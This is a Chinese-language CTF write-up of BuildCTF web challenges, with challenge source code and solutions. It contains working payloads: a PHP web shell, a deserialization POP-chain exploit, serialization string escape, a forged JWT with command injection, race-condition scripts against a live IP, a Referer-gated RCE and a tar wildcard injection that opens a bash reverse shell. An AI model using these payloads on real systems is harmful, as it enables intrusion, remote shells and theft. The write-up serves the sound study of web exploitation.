WEB
babyupload
传.htaccess和一个马就行
GIF89a
<?=`$_POST[1]`;
RedFlag
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/redflag/<path:redflag>')
def redflag(redflag):
def safe_jinja(payload):
payload = payload.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
return flask.render_template_string(safe_jinja(redflag))
莫名奇妙的题,没啥意思
ez!http
自己背八股HTTP 标头 - HTTP | MDN
find-the-id
单纯考个爆破
ez_md5
输入ffifdyop,别问为什么
进入下一步
<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('不可以哦!');
}
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
{
echo $flag;
}else die("再想想");
}else die("不是吧这么简单的md5都过不去?");
?>
第一步通过get和post的优先级绕过。robots.txt中存在提示
level2
md5(114514xxxxxxx)
盲猜3e41f780146b6c246cd49dd296a3da28是md5(114514xxxxxxx)的结果。爆破一下
LovePopChain
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最后一次了, 爱而不得, 未必就是遗憾~~';
eval($_POST['y3y4']);
}
}
class hybcx{
public $JiuYue;
public $Si;
public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}
public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}
if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);
}else{
highlight_file(__FILE__);
}
很简单的POP链,甚至有一个没有用上的魔术方法
exp
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
}
class hybcx{
public $JiuYue;
public $Si;
}
$a=new MyObject();
$a->NoLove=new hybcx();
$a->NoLove->Si=new MyObject();
$a->NoLove->Si->Forgzy=new GaoZhouYue();
echo serialize($a);
Why_so_serials?
字符串逃逸
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class Gotham{
public $Bruce;
public $Wayne;
public $crime=false;
public function __construct($Bruce,$Wayne){
$this->Bruce = $Bruce;
$this->Wayne = $Wayne;
}
}
if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
$Bruce = $_GET['Bruce'];
$Wayne = $_GET['Wayne'];
$city = new Gotham($Bruce,$Wayne);
if(preg_match("/joker/", $Wayne)){
$serial_city = str_replace('joker', 'batman', serialize($city));
$boom = unserialize($serial_city);
if($boom->crime){
echo $flag;
}
}else{
echo "no crime";
}
}else{
echo "HAHAHAHA batman can't catch me!";
}
O:6:"Gotham":3:{s:5:"Bruce";s:1:"a";s:5:"Wayne";s:1:"b";s:5:"crime";b:0;}
需要构造";s:5:"crime";b:1;s:8:"fffffilm";s:1:"b";}
一共42个字符。所以赛42个joker就行
?Bruce=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;s:8:"fffffilm";s:1:"b";}&Wayne=bjoker
tflock
robots.txt->/passwordList/password.txt拿到一个字典。但是尝试爆破发现刚爆破几个账号就说账号已锁定了。
但是后来我重开了一个环境又爆出来了。可能是锁定不影响登录,正好对应了题目说的真假锁定
sub
源码
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'
DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}
messages = []
@app.route('/message', methods=['GET', 'POST'])
def message():
if request.method == 'POST':
name = request.form.get('name')
content = request.form.get('content')
messages.append({'name': name, 'content': content})
flash('Message posted')
return redirect(url_for('message'))
return render_template('message.html', messages=messages)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
flash('Username already exists')
return redirect(url_for('register'))
users[username] = {'password': generate_password_hash(password), 'role': 'user'}
flash('User registered successfully')
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and check_password_hash(users[username]['password'], password):
access_token = jwt.encode({
'sub': username,
'role': users[username]['role'],
'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
response = make_response(render_template('page.html'))
response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
return response
else:
return jsonify({"msg": "Invalid username or password"}), 401
return render_template('login.html')
@app.route('/logout')
def logout():
resp = make_response(redirect(url_for('index')))
resp.set_cookie('jwt', '', expires=0)
flash('You have been logged out')
return resp
@app.route('/')
def index():
return render_template('index.html')
@app.route('/page')
def page():
jwt_token = request.cookies.get('jwt')
if jwt_token:
try:
payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
current_user = payload['sub']
role = payload['role']
except jwt.ExpiredSignatureError:
return jsonify({"msg": "Token has expired"}), 401
except jwt.InvalidTokenError:
return jsonify({"msg": "Invalid token"}), 401
except Exception as e:
return jsonify({"msg": "Invalid or expired token"}), 401
if role != 'admin' or current_user not in users:
return abort(403, 'Access denied')
file = request.args.get('file', '')
file_path = os.path.join(DOCUMENT_DIR, file)
file_path = os.path.normpath(file_path)
if not file_path.startswith(DOCUMENT_DIR):
return abort(400, 'Invalid file name')
try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:
content = str(e)
except Exception as e:
content = str(e)
return render_template('page.html', content=content)
else:
return abort(403, 'Access denied')
@app.route('/categories')
def categories():
return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5050)
伪造一个jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJmaWxtIiwicm9sZSI6ImFkbWluIn0.V2OFcoQK4x_TKg971t4Z6F6ZrBHByj86-OMv4uMYtdI
发现page路由下存在命令拼接漏洞
try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:
我写的网站被rce了?
莫名奇妙的,没思路。
发现查看日志处存在过滤,fuzz后发现过滤了这些。
他这里的读取是拼接起来的,并且a?????也能读取到。怀疑是执行系统命令
因为是左右都有拼接,所以使用||来确保是中间的命令执行,
acc||nl$IFS/f???||a
加上一些简单的绕过。
Cookie_Factory
题目给了后端源码,是个node.js。我们可以忽略前端,自己写个js脚本和网站交互
源码
const express = require('express')
const app = express();
const http = require('http').Server(app);
const port = 3000;
const socketIo = require('socket.io');
const io = socketIo(http);
let sessions = {}
let errors = {}
app.use(express.static(__dirname));
app.get('/', (req, res) => {
res.sendFile("./index.html")
})
io.on('connection', (socket) => {
sessions[socket.id] = 0
errors[socket.id] = 0
socket.on('disconnect', () => {
console.log('user disconnected');
});
socket.on('chat message', (msg) => {
socket.emit('chat message', msg);
});
socket.on('receivedError', (msg) => {
sessions[socket.id] = errors[socket.id]
socket.emit('recievedScore', JSON.stringify({"value":sessions[socket.id]}));
});
socket.on('click', (msg) => {
let json = JSON.parse(msg)
if (sessions[socket.id] > 1e20) {
socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
return;
}
if (json.value != sessions[socket.id]) {
socket.emit("error", "previous value does not match")
}
let oldValue = sessions[socket.id]
let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue
sessions[socket.id] = newValue
socket.emit('recievedScore', JSON.stringify({"value":newValue}));
if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}
errors[socket.id] = oldValue;
});
});
http.listen(port, () => {
console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});
限制了每次加的分不大于十。
if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}
和fake_signin有点像,感觉一个题出了另一个也能出。都是多线程下导致的问题。
直接拷打GPT写一个多线程发包的脚本就行
const { Worker, isMainThread, parentPort } = require('worker_threads');
const io = require('socket.io-client');
// 线程数(根据需求调整线程数)
const THREAD_COUNT = 10;
// 点击事件发送间隔(以毫秒为单位)
const CLICK_INTERVAL = 1000;
// 这是每个 worker 要运行的代码
if (!isMainThread) {
const socket = io('http://27.25.151.80:43518');
let power = 10000000000000000000000; // 初始 power 值
let currentValue = 0; // 当前值
// 监听服务器的回应
socket.on('recievedScore', (msg) => {
const data = JSON.parse(msg);
console.log(`New score from worker: ${data.value}`);
currentValue = data.value; // 更新当前值
});
socket.on('error', (msg) => {
console.log(`Error from worker: ${msg}`);
});
// 持续发送点击事件
function sendClick() {
let message = JSON.stringify({
value: currentValue, // 使用当前值作为初始值
power: power
});
socket.emit('click', message);
console.log(`Worker sent click with power: ${power}`);
}
// 使用 setInterval 每隔一段时间发送点击事件
setInterval(() => {
sendClick();
}, CLICK_INTERVAL);
}
// 如果是主线程,创建多个 worker 并启动持续点击
if (isMainThread) {
for (let i = 0; i < THREAD_COUNT; i++) {
const worker = new Worker(__filename);
// 在主线程中可以控制 worker 的生命周期
worker.postMessage({ power: 10000000000000000000000 });
}
}
刮刮乐
题目源码(一开始没给,我rce看的
<?php
$referer = $_SERVER['HTTP_REFERER'];
if (isset($_GET['cmd'])) {
$c = $_GET['cmd'];
if (strpos($referer, 'baidu.com') !== false) {
// 允许访问
system($c . " >/dev/null 2>&1");
} else {
echo '不对哦,你不是来自baidu.com的自己人哦';
}
}
?>
先刮一下图片,然后题目让传参,再改一下referer。就可以执行命令了。这里要加;来结束后面的>/dev/null 2>&1
.
eazyl0gin
关键逻辑
router.post('/login',function(req,res,next){
var data = {
username: String(req.body.username),
password: String(req.body.password)
}
const md5 = crypto.createHash('md5');
const flag = process.env.flag
if(data.username.toLowerCase()==='buildctf'){
return res.render('login',{data:"你不许用buildctf账户登陆"})
}
if(data.username.toUpperCase()!='BUILDCTF'){
return res.render('login',{data:"只有buildctf这一个账户哦~"})
}
var md5pwd = md5.update(data.password).digest('hex')
if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
return res.render('login',{data:"密码错误"})
}
return res.render('login',{data:flag})
})
b26230fafbc4b147ac48217291727c98的原值为012346
- 在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
- 在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以我们让username=buıldctf
所以可以用buıldctf/012346
登录
fake_signin
import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime
app = Flask(__name__)
app.secret_key = 'BuildCTF'
CURRENT_DATE = datetime(2024, 9, 30)
users = {
'admin': {
'password': 'admin',
'signins': {},
'supplement_count': 0,
}
}
@app.route('/')
def index():
if 'user' in session:
return redirect(url_for('view_signin'))
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username]['password'] == password:
session['user'] = username
return redirect(url_for('view_signin'))
return render_template('login.html')
@app.route('/view_signin')
def view_signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
signins = user['signins']
dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
for i in range(1, 31)]
today = CURRENT_DATE.strftime("%Y-%m-%d")
today_signed_in = today in signins
if len([d for d in signins.values() if d]) >= 30:
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)
@app.route('/signin')
def signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
today = CURRENT_DATE.strftime("%Y-%m-%d")
if today not in user['signins']:
user['signins'][today] = True
return redirect(url_for('view_signin'))
@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
supplement_message = ""
if request.method == 'POST':
supplement_date = request.form.get('supplement_date')
if supplement_date:
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月补签次数已用完。"
else:
supplement_message = "请选择补签日期。"
return redirect(url_for('view_signin'))
supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)
@app.route('/logout')
def logout():
session.pop('user', None)
return redirect(url_for('login'))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5051)
题目直接给了源码,我们审计一下。
要签到30天,登录可以签到一次,还需要补签29次。
if request.method == 'POST':
supplement_date = request.form.get('supplement_date')
if supplement_date:
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月补签次数已用完。"
else:
supplement_message = "请选择补签日期。"
return redirect(url_for('view_signin'))
这里逻辑写死了,只能补签一次,也没找到什么逻辑漏洞。但是没有处理并发逻辑,如果一次发29个补签的包那么就可以一次补签29个
因为只能补签一次,没成功的话就得重开一个靶机了。
并且我尝试过后发现并不需要每天都签上,也能拿到flag,我发包的日期是1-29,而不是01-29也行。虽然显示是没签到但是仍然然有flag,可能是因为有的天签到了几次吗?反正本质原因是满足了len([d for d in signins.values() if d])>=30
这是成功签到的截图
打包给你
原题掌控安全CTF - 8月(WEB&AWD方向)_showdoc漏洞 ctf-CSDN博客
漏洞点在os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
可以本地起个docker测试一下,用的时候记得连中括号一起替换,比如:echo ZmZmZmZpbG0=
echo 'bash -c "bash -i >& /dev/tcp/IP/10086 0>&1"' | base64
echo "" > "--checkpoint-action=exec=echo [base_payload] | base64 -d | bash" # 生成第一个文件
echo "" > --checkpoint=1 # 生成第二个文件
echo "" > test.txt # 生成第三个文件
下载之后就能弹到shell了
ez_waf
只有内容检测,过滤了",',#,;,=,<,>,\,`
只剩?号了,感觉是UTF-7编码绕过。注意到是nginx的服务,所以用不了.htaccess
上网找了点wp看看,各种内容检测的方法尝试过后,发现用脏数据可以过waf
我生成了8000个字符过了,具体需要多少个可以自行测试。
print('fffffilm'*1000)
传上去之后疑似文件太大,执行不了,但phpinfo里面有flag我就没试了。